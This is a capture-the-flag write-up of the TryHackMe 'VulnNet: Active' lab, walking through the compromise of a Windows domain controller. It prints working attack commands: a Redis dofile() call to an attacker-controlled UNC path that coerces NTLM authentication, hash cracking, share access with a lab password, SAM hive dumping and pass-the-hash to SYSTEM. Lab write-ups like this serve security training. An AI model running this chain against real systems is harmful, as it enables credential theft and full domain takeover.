September 8, 2026·Johnytiger

VulnNet: Active

A Windows domain controller running Redis 2.8 with no auth. A Lua dofile() call coerces the box to authenticate to Responder, the cracked hash opens a writable share, and a swapped scheduled script leads to SYSTEM.

securityctfwriteuptryhackmeactive directorywindowsredis

As per usual we begin with an nmap scan and see what we have going on with the system.

The nmap service scan showing DNS, Kerberos, SMB and Redis 2.8.2402 on port 6379

We have a few things to dig into here. We see Redis 2.8.2402, which is vulnerable to CVE-2015-4335, so let's do a little research and see if there is a POC available.

There is a public POC gist for it here.

We have this, but it's for Linux only and this is a Windows machine, so moving on. Let's try talking to Redis directly.

redis-cli -h 10.65.170.71

INFO
CONFIG GET dir
KEYS *

The Redis INFO output confirming redis_version 2.8.2402 running on Windows

We get some info on the system. Let's keep going. Running NetExec we pull back a domain.

nxc smb 10.65.170.71 -u '' -p ''

NetExec against SMB with a null session, returning the hostname VULNNET-BC3TCK1 and the domain vulnnet.local

Let's check with dig and see if we can get the full domain.

dig any vulnnet.local @10.65.170.71

A dig ANY query for vulnnet.local returning the A, NS and SOA records for the domain controller

This gives us the full domain. Running kerbrute userenum against vulnnet.local we finally get a valid username, "administrator".

kerbrute userenum -d vulnnet.local --dc 10.64.153.109 \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt \
  -o /tmp/kerbrute.out

That doesn't take us anywhere on its own. Finally, heading back to redis-cli, we can use the Lua dofile() function to make the server reach out to a UNC path and authenticate against our Responder.

eval "dofile('//192.168.130.11/test')" 0

The redis-cli eval dofile call on the left and Responder on the right capturing a NetNTLMv2 hash for the enterprise-security account

We finally get a hit. Let's crack this ASAP.

hashcat -m 5600 ent.hash /usr/share/wordlists/rockyou.txt --force

Hashcat cracking the NetNTLMv2 hash for ENTERPRISE-SECURITY and recovering the plaintext password

We get our first set of creds. Let's go ahead and check for shares and pull what we can find.

This is great, we can write to the share. Let's overwrite that script with a payload and wait and see what happens.

A netcat listener on port 4444 catching a PowerShell callback as the enterprise-security user

We get a shell. Let's begin our Windows enumeration and search for the flag. Checking privileges we see we have SeImpersonatePrivilege, so let's bring over a few tools.

First we dump the SAM, SECURITY and SYSTEM hives into the Enterprise share, pull them down to Kali and run them through secretsdump.

smbclient //vulnnet.local/Enterprise-Share -U enterprise-security \
  --password=sand_0873959498 \
  -c "ls; prompt OFF; recurse OFF; mget *.hive; get r.txt; get u.txt"

impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL

secretsdump parsing the offline hives and printing the local SAM hashes, including the Administrator NT hash, plus the cached LSA secrets

We got loot. With the Administrator hash in hand, let's pass it through psexec.

impacket-psexec -hashes :85d1fadbe37887ed63987f822acb47f1 Administrator@vulnnet.local

$impacket-psexec authenticating with the NT hash, dropping a service and returning a shell as nt authority\system$

We have SYSTEM. Now let's loot the root flag.

And just like that we have rooted the system. This one was a little tougher than usual, with a lot of closed-off vectors until I finally looked up a way to trigger a callback through Redis. Another example of having to take a step back and look at the situation from a different perspective.

End of transmissionAll posts